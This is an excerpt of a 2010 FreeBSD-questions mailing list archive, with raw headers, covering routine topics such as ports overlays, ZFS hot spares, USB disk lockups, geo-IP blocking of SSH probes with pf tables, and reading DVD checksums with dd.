08 Mar 2010 14:01:22 -0600 From: CyberLeo Kitsana User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100307 Thunderbird/3.0.3 MIME-Version: 1.0 To: Matthew Seaman References: <4B9367B5.4000704@cyberleo.net> <4B937622.2030704@infracaninophile.co.uk> In-Reply-To: <4B937622.2030704@infracaninophile.co.uk> X-Enigmail-Version: 1.0.1 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Cc: FreeBSD Questions Subject: Re: Ports overlay X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 20:01:25 -0000 On 03/07/2010 03:47 AM, Matthew Seaman wrote: > On 07/03/2010 08:45:41, CyberLeo Kitsana wrote: > >> By necessity and convenience, I have developed a series of additions and >> changes to the ports tree. These changes are probably not worthy of >> inclusion into the official tree, so I'm looking to maintain an overlay, >> of sorts, in the spirit of Gentoo's overlay capability. > >> Is there an official method of hooking changes into a ports tree, while >> maintaining the ability to csup or portsnap the unmodified version? How >> do others tackle this particular problem? > > Yes, you can add your own local ports or even whole categories of local > ports without too much difficulty. You can even add some tweaks to an > existing port -- you don't have complete freedom to do anything there, > but you can do quite a lot. > > If you create a Makefile.local at any level in the ports tree it will be > included alongside the usual Makefile. This means you can override a > lot of the available settings at will. > > So, if you create /usr/ports/Makefile.local > > with the contents: > > SUBDIR+=myports > > then you can create a directory /usr/ports/myports and put your own > ports inside it -- you'll need a /usr/ports/myports/Makefile just like > the other category directories. This is an excellent idea, and one I ultimately ended up using. However, I've found that the ports infrastructure really doesn't tolerate creating arbitrary categories, so I had to put a VALID_CATEGORIES+= bit at the top of each of my ports' makefiles to get it to work without patching any tracked files. > > If you want to modify an existing port, probably the best approach is to > create your own slave port -- see the docco on MASTERDIR in the Porter's > Handbook and look at eg. games/freeciv-nox11 for about the simplest > possible example. It's not fool proof -- some modifications will always > need support in the master port's Makefile, but there's a lot you can do > without that. Another good suggestion. I find annoyance in that devel/glib20 (among others) requires all of Perl and Python at runtime just to service two script files that appear to be used only for certain compilation options. It tends to bloat the embedded images that I build. -- Fuzzy love, -CyberLeo Technical Administrator CyberLeo.Net Webhosting http://www.CyberLeo.Net Furry Peace! - http://wwww.fur.com/peace/ From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 20:13:39 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5E47C1065670 for ; Mon, 8 Mar 2010 20:13:39 +0000 (UTC) (envelope-from korvus@comcast.net) Received: from mx04.pub.collaborativefusion.com (mx04.pub.collaborativefusion.com [206.210.72.84]) by mx1.freebsd.org (Postfix) with ESMTP id 2C9768FC1F for ; Mon, 8 Mar 2010 20:13:38 +0000 (UTC) Received: from [192.168.2.164] ([206.210.89.202]) by mx04.pub.collaborativefusion.com (StrongMail Enterprise 4.1.1.4(4.1.1.4-47689)); Mon, 08 Mar 2010 15:31:16 -0500 X-VirtualServerGroup: Default X-MailingID: 00000::00000::00000::00000::::6 X-SMHeaderMap: mid="X-MailingID" X-Destination-ID: freebsd-questions@freebsd.org X-SMFBL: ZnJlZWJzZC1xdWVzdGlvbnNAZnJlZWJzZC5vcmc= Message-ID: <4B955A72.9010706@comcast.net> Date: Mon, 08 Mar 2010 15:13:38 -0500 From: Steve Polyack User-Agent: Mozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.9.1.7) Gecko/20100211 Thunderbird/3.0.1 MIME-Version: 1.0 To: User Questions Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: ZFS hot spares X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 20:13:39 -0000 ZFS in FreeBSD lacks at least one major feature from the Solaris version: hot spares. There is a PR open at http://www.freebsd.org/cgi/query-pr.cgi?pr=134491, but there hasn't been any motion/thoughts posted on it since its creation almost one year ago. I'm aware that on Solaris, hot spare replacement is handled by a few Solaris-specific daemons, zfs-retire and zfs-diagnose, which both plug into the Solaris FMA (Fault Management Architecture). Have there been any thoughts on porting these over or getting something similar running within FreeBSD? With all of the recent SATA/SAS CAM hotplug work now committed, it would be nice to have automatic replacement of hot spares with a future hot-replacement of the failed drive. On the other side, I'd be interested in hearing if anyone has had success in rolling their own scripted solution: i.e. something which polls 'zpool status' looking for failed drives and performing hot-spare replacements automatically. Thanks, Steve Polyack From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 20:17:01 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F36891065686 for ; Mon, 8 Mar 2010 20:17:01 +0000 (UTC) (envelope-from cwhiteh@onetel.com) Received: from woodbine.london.02.net (woodbine.london.02.net [87.194.255.145]) by mx1.freebsd.org (Postfix) with ESMTP id 914C78FC24 for ; Mon, 8 Mar 2010 20:17:01 +0000 (UTC) Received: from eco.config (93.97.24.219) by woodbine.london.02.net (8.5.016.1) id 4A203296083C68EE for questions@freebsd.org; Mon, 8 Mar 2010 20:17:00 +0000 Message-ID: <4B955B3B.3040806@onetel.com> Date: Mon, 08 Mar 2010 20:16:59 +0000 From: Chris Whitehouse User-Agent: Thunderbird 2.0.0.23 (X11/20091212) MIME-Version: 1.0 References: <4b94db8e.2be.35c.17386@westberks.org> <4B94F09E.9090800@chaotika.org> <320306641003080757s1ffd928eu5f29f7fb5c28e174@mail.gmail.com> In-Reply-To: <320306641003080757s1ffd928eu5f29f7fb5c28e174@mail.gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: questions@freebsd.org Subject: Re: (No subject header) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 20:17:02 -0000 doug schmidt wrote: > On Mon, Mar 8, 2010 at 7:42 AM, Lars Hartmann wrote: >> Hi, >>> i have a acer aspire one with no oprating system it has >>> no cd drive would i be possible to download a redy top use >>> version of software so i could boot form a memory stick? >>> (i have no other computer to unlock to iso file) > >> Google is your friend: >> http://miwi.bsdcrew.de/2009/06/freebsd-80-install-with-a-usb-stick/ >> >> next time, do that yourself. >> > > http://lmgtfy.com/?q=freebsd+8.0+install+with+usb+stick > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > If you mean a bootable usb image that you can use to install FreeBSD to your machine here are some things that might interest you: You can get a usb stick installation image from ftp://ftp.freebsd.org/pub/FreeBSD/ISO-IMAGES-i386/8.0/8.0-RELEASE-i386-memstick.img but you'll probably need to do some reading in the handbook http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/ PCBSD is a ready to go desktop configuration of FreeBSD, you can download a USB complete install from http://www.pcbsd.org/content/view/152/11/ There are also some threads about running FreeBSD on the aspire one, eg http://forums.freebsd.org/showthread.php?t=449 regards Chris From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 20:27:46 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A5A21106564A for ; Mon, 8 Mar 2010 20:27:46 +0000 (UTC) (envelope-from noeldude@gmail.com) Received: from mail-gy0-f182.google.com (mail-gy0-f182.google.com [209.85.160.182]) by mx1.freebsd.org (Postfix) with ESMTP id 567858FC1D for ; Mon, 8 Mar 2010 20:27:46 +0000 (UTC) Received: by gyg8 with SMTP id 8so1624168gyg.13 for ; Mon, 08 Mar 2010 12:27:45 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=KLP9GVy3snXcvlDrpahjTBp/T8MYAFVtEy/zXxfB76I=; b=JmPH6lv2aJflykekDg8CyMmABNlo2HlioJqv4V7TUCj1rtoikIl85AYknV0YWCWfll pRNuz04CUNWWccSO2TwGnoDxcokafVgc9rBf+HAtKLUX9VrbcBfIYaTyVBqBvgRWTjXI 5aKfc1FVvwoerh+fN3BV42gDhtOnbBjotDt28= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=nqAZr37vitRkXf440KXvB8BXfnQ2wiqJrMi1pEc9luE/t7ICowhGICLfEJbh6Pjv8x k7T5kV+OZ6udr6LY6IfRQoWm016lR3Dq0NegsgProAAJfqFNz/PhHPKgidfyIhAbOjYz 7OX9nUwXIdekcyLbJJ1IS+UyOFMG8qz4Y6qGg= MIME-Version: 1.0 Received: by 10.151.3.21 with SMTP id f21mr1585591ybi.171.1268080062501; Mon, 08 Mar 2010 12:27:42 -0800 (PST) In-Reply-To: <532b03711003071325j9ab3c98u703b31abdc7ea8fe@mail.gmail.com> References: <532b03711003071325j9ab3c98u703b31abdc7ea8fe@mail.gmail.com> Date: Mon, 8 Mar 2010 14:27:42 -0600 Message-ID: From: Noel Jones To: Angelin Lalev Content-Type: text/plain; charset=ISO-8859-1 Cc: freebsd-questions@freebsd.org Subject: Re: [OT] ssh security X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 20:27:46 -0000 On Sun, Mar 7, 2010 at 3:25 PM, Angelin Lalev wrote: > Greetings, > > I'm doing some research into ssh and its underlying cryptographic > methods and I have questions. I don't know whom else to ask and humbly > ask for forgiveness if I'm way OT. > > So, SSH uses algorithms like ssh-dss or ssh-rsa to do key exchange. > These algorithms can defeat any attempts on eavesdropping, but cannot > defeat man-in-the-middle attacks. To defeat them, some pre-shared > information is needed - key fingerprint. > > If hypothetically someone uses instead of the plain text > authentication some challenge-response scheme, based on user's > password or even a hash of user's password would ssh be able to avoid > the need the user to have key fingerprints of the server prior the > first connection? Hypothetically, SSH could use a zero-knowledge authentication method such as SRP[1]. Until new code is written for ssh to take advantage of something like this, we're stuck with what's available. -- Noel Jones [1] http://srp.stanford.edu/ From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 20:36:10 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 55F67106566C for ; Mon, 8 Mar 2010 20:36:10 +0000 (UTC) (envelope-from cwhiteh@onetel.com) Received: from april.london.02.net (april.london.02.net [87.194.255.143]) by mx1.freebsd.org (Postfix) with ESMTP id E78AA8FC20 for ; Mon, 8 Mar 2010 20:36:09 +0000 (UTC) Received: from eco.config (93.97.24.219) by april.london.02.net (8.5.016.1) id 4B79C26300708AA1; Mon, 8 Mar 2010 20:36:08 +0000 Message-ID: <4B955FB7.9010904@onetel.com> Date: Mon, 08 Mar 2010 20:36:07 +0000 From: Chris Whitehouse User-Agent: Thunderbird 2.0.0.23 (X11/20091212) MIME-Version: 1.0 To: David Jackson References: <4B952B38.70308@gmail.com> In-Reply-To: <4B952B38.70308@gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Severe instabilities and system lockups X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 20:36:10 -0000 David Jackson wrote: > I am still having severe problems with severe system instabilities with > FreeBSD and have had these problrms in 7.1 and 8.0. The system randomly > locks up, it appears applications lock up when they access the USb disk. > Also, when accessing the USB disk, the entire system lockup often for > minutes. Performance with accessing USB disks is horrendous,. it took 7 > hours to copy a directory that was 200 MB. Any program that accesses the > USB disk tend to freeze for minutes, and often the entire system becomes > unresponsive for minutes. Overall FreeBSD here is characterized by > severe instabilities, ive had better performance from Windows 98 > systems. The fact that the entire system freezes up, this should not > happen, a well designed system will not lock up the entire OS when > accessing disk. > > Are there any diagnostic tools uch as getting a log of tranmissions on > USB and probe it, ,or finmd out what code it is lockilng up on ?Has > anyone else seen these problems with USB disks? > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > Don't ask me to fix anything because I have no idea, but I have seen this occasionally on one usb port and/or using a usb extender cable (I haven't tested properly yet) on my home desktop system. So I put it down to a hardware issue. All other ports work as expected. Is it an external hard drive, as opposed to pen drive etc? Have you tested with the supplied cable plugged directly into a usb port (no extender cable) including with the secondary power cable if it has one? Have you tested all your usb ports? Have you tested on other machines running FreeBSD? Finally, given your remark about windows 98, does your motherboard actually have USB 2? FreeBSD 8.0-RELEASE-p1 regards Chris From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 22:11:47 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id ED323106566C for ; Mon, 8 Mar 2010 22:11:47 +0000 (UTC) (envelope-from norgaard@locolomo.org) Received: from mail.locolomo.org (97.pool85-48-194.static.orange.es [85.48.194.97]) by mx1.freebsd.org (Postfix) with ESMTP id 9D4EF8FC08 for ; Mon, 8 Mar 2010 22:11:47 +0000 (UTC) Received: from beta.local (ppp-88-217-14-182.dynamic.mnet-online.de [88.217.14.182]) by mail.locolomo.org (Postfix) with ESMTPSA id 075EF1C0871 for ; Mon, 8 Mar 2010 23:11:36 +0100 (CET) Message-ID: <4B957617.9080000@locolomo.org> Date: Mon, 08 Mar 2010 23:11:35 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <20100305125446.GA14774@elwood.starfire.mn.org> <4B91B36D.1020507@locolomo.org> <20100307204114.GK16274@mail2.dcoder.net> <4B942D4B.6070407@locolomo.org> <970380131003080956u375be282wd5e5e4445841146f@mail.gmail.com> In-Reply-To: <970380131003080956u375be282wd5e5e4445841146f@mail.gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Subject: Re: Thousands of ssh probes X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 22:11:48 -0000 On 08/03/10 18:56, Jason Garrett wrote: >> Much better, restrict the client access to certain ranges of IPs. The >> different registries publish ip ranges assigned per country and you can >> create a list blocking countries you are certain not to visit, you can use >> my script: >> >> http://www.locolomo.org/pub/src/toolbox/inet.pl >> > Great script! Just one question. Where do you put the list of denied ip > ranges? The output is written to be used with packet filter, if you use some other firewall you may need edit the script. If you use packet filter, then you can dump the list into a file and create tables like this: table persist file "/etc/blacklist" block in quick from I use blacklisting for mail while I use whitelisting for ssh. You should know the limits of the script, the problem is that some ranges have been assigned directly by IANA, particularly for US. These are not included. The list is limited as these are all /8 chunks, you can find it here: http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml These ranges are managed by private organisations and assigned as they see fit. There is another thing I'd like to filter by: I'd like to eliminate dynamic ranges, particularly for mail. It's been recommended that reverse lookup resolves to something like dyn.example.com or dynamic.example.com, but there is no registry where you can simply look it up. BR, Erik -- Erik Nųrgaard Ph: +34.666334818/+34.915211157 http://www.locolomo.org From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 22:21:48 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F1E3D106566B for ; Mon, 8 Mar 2010 22:21:48 +0000 (UTC) (envelope-from kingedgar@gmail.com) Received: from mail-gx0-f211.google.com (mail-gx0-f211.google.com [209.85.217.211]) by mx1.freebsd.org (Postfix) with ESMTP id AB4C88FC08 for ; Mon, 8 Mar 2010 22:21:48 +0000 (UTC) Received: by gxk3 with SMTP id 3so812501gxk.13 for ; Mon, 08 Mar 2010 14:21:48 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=F14SvTmEyHEEadaSKXhYmN8VdaXNeHy7p52GkbbVIlg=; b=mI2QjFEIaYsewgIKHxkVFoXiZ0cHScfUgrqB9DNtfE0ih74+tKPmFX6c0vieD0DVby R8/FbsH7wNXs/28gpclUrf8fpNEVCsi24q0ewnWJSP01U30ayvmgz7vpl4ksXQw56Tjx /oiZJgXd+f+GFEbRzFAj2N4A/3aP/XehSwJBA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=hJBDBTiMP6vEcvTgaf3awWMeJKF0bIU+t1P61R5tytZ1UM65s4sh2qnplBkKBXtDZ9 olwcxCFcPpAM8I5XSI/+HguvPIqOpilvHeKBnS9KuOEbQtPKCiaWcVPH/AepHMR3V6pe tQ68e06IYLGq3PW65cZKR9C/GUDxQvSYu2Ybc= MIME-Version: 1.0 Received: by 10.150.66.18 with SMTP id o18mr4895532yba.96.1268086905239; Mon, 08 Mar 2010 14:21:45 -0800 (PST) In-Reply-To: <4B957617.9080000@locolomo.org> References: <20100305125446.GA14774@elwood.starfire.mn.org> <4B91B36D.1020507@locolomo.org> <20100307204114.GK16274@mail2.dcoder.net> <4B942D4B.6070407@locolomo.org> <970380131003080956u375be282wd5e5e4445841146f@mail.gmail.com> <4B957617.9080000@locolomo.org> Date: Mon, 8 Mar 2010 16:21:45 -0600 Message-ID: <970380131003081421q13b77547p9f72d4894114d50@mail.gmail.com> From: Jason Garrett To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Re: Thousands of ssh probes X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 22:21:49 -0000 On Mon, Mar 8, 2010 at 16:11, Erik Norgaard wrote: > On 08/03/10 18:56, Jason Garrett wrote: > > Much better, restrict the client access to certain ranges of IPs. The >>> different registries publish ip ranges assigned per country and you can >>> create a list blocking countries you are certain not to visit, you can >>> use >>> my script: >>> >>> http://www.locolomo.org/pub/src/toolbox/inet.pl >>> >>> Great script! Just one question. Where do you put the list of denied i= p >> ranges? >> > > The output is written to be used with packet filter, if you use some othe= r > firewall you may need edit the script. If you use packet filter, then you > can dump the list into a file and create tables like this: > > table persist file "/etc/blacklist" > block in quick from > > I use blacklisting for mail while I use whitelisting for ssh. > > You should know the limits of the script, the problem is that some ranges > have been assigned directly by IANA, particularly for US. These are not > included. The list is limited as these are all /8 chunks, you can find it > here: > > http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml > > These ranges are managed by private organisations and assigned as they se= e > fit. > > There is another thing I'd like to filter by: I'd like to eliminate dynam= ic > ranges, particularly for mail. It's been recommended that reverse lookup > resolves to something like dyn.example.com or dynamic.example.com, but > there is no registry where you can simply look it up. > > Thanks! I'm not sure what ranges the OP is looking for, but I only want to allow from US ip's for now, since I never travel outside the country. > > BR, Erik > -- > Erik N=F8rgaard > Ph: +34.666334818/+34.915211157 http://www.locolomo.org > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 22:43:51 2010 Return-Path: Delivered-To: freebsd-questions@FreeBSD.ORG Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6507D106566B for ; Mon, 8 Mar 2010 22:43:51 +0000 (UTC) (envelope-from kline@thought.org) Received: from ethic.thought.org (plato.thought.org [209.180.213.209]) by mx1.freebsd.org (Postfix) with ESMTP id 271E48FC1D for ; Mon, 8 Mar 2010 22:43:50 +0000 (UTC) Received: from thought.org (tao.thought.org [10.47.0.250]) (authenticated bits=0) by ethic.thought.org (8.14.3/8.14.3) with ESMTP id o28Mhlie045625 for ; Mon, 8 Mar 2010 14:43:47 -0800 (PST) (envelope-from kline@thought.org) Received: by thought.org (nbSMTP-1.00) for uid 1002 kline@thought.org; Mon, 8 Mar 2010 14:43:46 -0800 (PST) Date: Mon, 8 Mar 2010 14:43:46 -0800 From: Gary Kline To: FreeBSD Mailing List Message-ID: <20100308224344.GA87963@thought.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.3i X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: With 23 years of service to the Unix community. X-Spam-Status: No, score=-1.2 required=3.6 tests=ALL_TRUSTED,BAYES_00, FH_DATE_PAST_20XX autolearn=no version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on ethic.thought.org Cc: Subject: sendmail mail of .txt or .odt directly from OOo? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 22:43:51 -0000 Guys, cAn anybody tell me if it is possible, using OOo-320 to simply sent a file directly from the swriter module? I've found some mailmerge plugin that forces me to fill out tables of into on each person, then click endless buttons. It works, but is there any way i can import my mail addresses from evo or kmail or mutt and mail the test or wordprocssor file that way? gary -- Gary Kline kline@thought.org http://www.thought.org Public Service Unix http://jottings.thought.org http://transfinite.thought.org The 7.79a release of Jottings: http://jottings.thought.org/index.php From owner-freebsd-questions@FreeBSD.ORG Mon Mar 8 23:16:53 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5FF36106564A for ; Mon, 8 Mar 2010 23:16:53 +0000 (UTC) (envelope-from bruce@cran.org.uk) Received: from muon.cran.org.uk (muon.cran.org.uk [109.74.192.160]) by mx1.freebsd.org (Postfix) with ESMTP id 2454F8FC2A for ; Mon, 8 Mar 2010 23:16:53 +0000 (UTC) Received: from muon.cran.org.uk (localhost [127.0.0.1]) by muon.cran.org.uk (Postfix) with ESMTP id D996E927C; Mon, 8 Mar 2010 23:16:42 +0000 (UTC) X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on muon.cran.org.uk X-Spam-Level: X-Spam-Status: No, score=-2.7 required=8.0 tests=AWL,BAYES_00,RDNS_DYNAMIC autolearn=no version=3.2.5 Received: from core.draftnet (87-194-158-129.bethere.co.uk [87.194.158.129]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by muon.cran.org.uk (Postfix) with ESMTPSA; Mon, 8 Mar 2010 23:16:42 +0000 (UTC) From: Bruce Cran To: freebsd-questions@freebsd.org Date: Mon, 8 Mar 2010 23:16:28 +0000 User-Agent: KMail/1.12.4 (FreeBSD/9.0-CURRENT; KDE/4.3.5; amd64; ; ) References: <4B94DEA0.5030103@kukulies.org> In-Reply-To: <4B94DEA0.5030103@kukulies.org> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Message-Id: <201003082316.28451.bruce@cran.org.uk> Cc: Christoph Kukulies Subject: Re: md5 of /dev/acd0 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 08 Mar 2010 23:16:53 -0000 On Monday 08 March 2010 11:25:20 Christoph Kukulies wrote: > I was trying to determine a md5sum from a DVD I had inserted into a > FreeBSD 8.0 > on my Dell Inspiron 9400 notebook. > > I thought dd if=/dev/acd0 | md5 would work but I got "Invalid argument". > > Trying dd if=/dev/acd0 bs=1048k | md5 worked in so far that it didn't > yield an error > but after the DVD stopped spinning the command hung and I only could > bail out using ^C. Try using bs=2048 . -- Bruce Cran From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 01:09:26 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D8310106566C for ; Tue, 9 Mar 2010 01:09:26 +0000 (UTC) (envelope-from noc@hdk5.net) Received: from guam10.hdk5.net (guam10.hdk5.net [66.180.132.235]) by mx1.freebsd.org (Postfix) with ESMTP id ABAC28FC0C for ; Tue, 9 Mar 2010 01:09:26 +0000 (UTC) Received: from mohawk7.intra.net (unknown [66.180.149.18]) by guam10.hdk5.net (Postfix) with ESMTP id 6AD9C1CCBC; Mon, 8 Mar 2010 15:09:25 -1000 (HST) Message-ID: <4B959FC4.7040804@hdk5.net> Date: Mon, 08 Mar 2010 15:09:24 -1000 From: Al Plant User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071128 FreeBSD/i386 SeaMonkey/1.1.7 MIME-Version: 1.0 To: Bruce Cran References: <4B952B38.70308@gmail.com> <201003081824.34492.bruce@cran.org.uk> In-Reply-To: <201003081824.34492.bruce@cran.org.uk> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: David Jackson , freebsd-questions@freebsd.org Subject: Re: Severe instabilities and system lockups X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 01:09:26 -0000 Bruce Cran wrote: > On Monday 08 March 2010 16:52:08 David Jackson wrote: > >> Are there any diagnostic tools uch as getting a log of tranmissions on >> USB and probe it, ,or finmd out what code it is lockilng up on ?Has >> anyone else seen these problems with USB disks? > > You'll probably get a better response by asking on the freebsd-usb mailing > list. > > The following debug nodes for USB in 8.0 are present: > >> sysctl hw.usb | grep debug > hw.usb.ehci.debug: 0 > hw.usb.ohci.debug: 0 > hw.usb.uhci.debug: 0 > hw.usb.ctrl.debug: 0 > hw.usb.umass.debug: 0 > hw.usb.debug: 0 > hw.usb.dev.debug: 0 > hw.usb.ugen.debug: 0 > hw.usb.uhub.debug: 0 > hw.usb.proc.debug: 0 > hw.usb.ulpt.debug: 0 > hw.usb.ucom.debug: 0 > hw.usb.uhid.debug: 0 > hw.usb.ukbd.debug: 0 > hw.usb.ums.debug: 0 > > Your first step should probably be to get a verbose boot log (boot -v) - one > of the USB developers will likely know better than I do which sysctl debug > nodes to set to get more details. > Aloha, If the node is disappearing for the USB device and it is connected by a cable to the box try replace the cable. We had one here that would not stay listed on the hardware and it was the cable connector gone bad. I have never had a USB device lock up the box though. ~Al Plant - Honolulu, Hawaii - Phone: 808-284-2740 + http://hawaiidakine.com + http://freebsdinfo.org + + http://aloha50.net - Supporting - FreeBSD 7.2 - 8.0 - 9* + < email: noc@hdk5.net > "All that's really worth doing is what we do for others."- Lewis Carrol From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 03:27:52 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1F035106564A for ; Tue, 9 Mar 2010 03:27:52 +0000 (UTC) (envelope-from jhelfman@e-e.com) Received: from mail.experts-exchange.com (mail.experts-exchange.com [64.156.132.251]) by mx1.freebsd.org (Postfix) with ESMTP id 05ABD8FC1B for ; Tue, 9 Mar 2010 03:27:50 +0000 (UTC) Received: from eggman.experts-exchange.com (unknown [75.15.155.190]) by mail.experts-exchange.com (Postfix) with ESMTP id D25164A2E6E2; Mon, 8 Mar 2010 19:25:26 -0800 (PST) Received: by eggman.experts-exchange.com (sSMTP sendmail emulation); Mon, _d Mar 2010 19:27:49 -0800 Date: Mon, 8 Mar 2010 19:27:49 -0800 From: Jason To: CyberLeo Kitsana Message-ID: <20100309032749.GB576@Jason-Helfmans-MacBook-Pro.local> References: <4B9367B5.4000704@cyberleo.net> <4B937622.2030704@infracaninophile.co.uk> <4B955792.6090204@cyberleo.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Disposition: inline In-Reply-To: <4B955792.6090204@cyberleo.net> X-Operating-System: Darwin 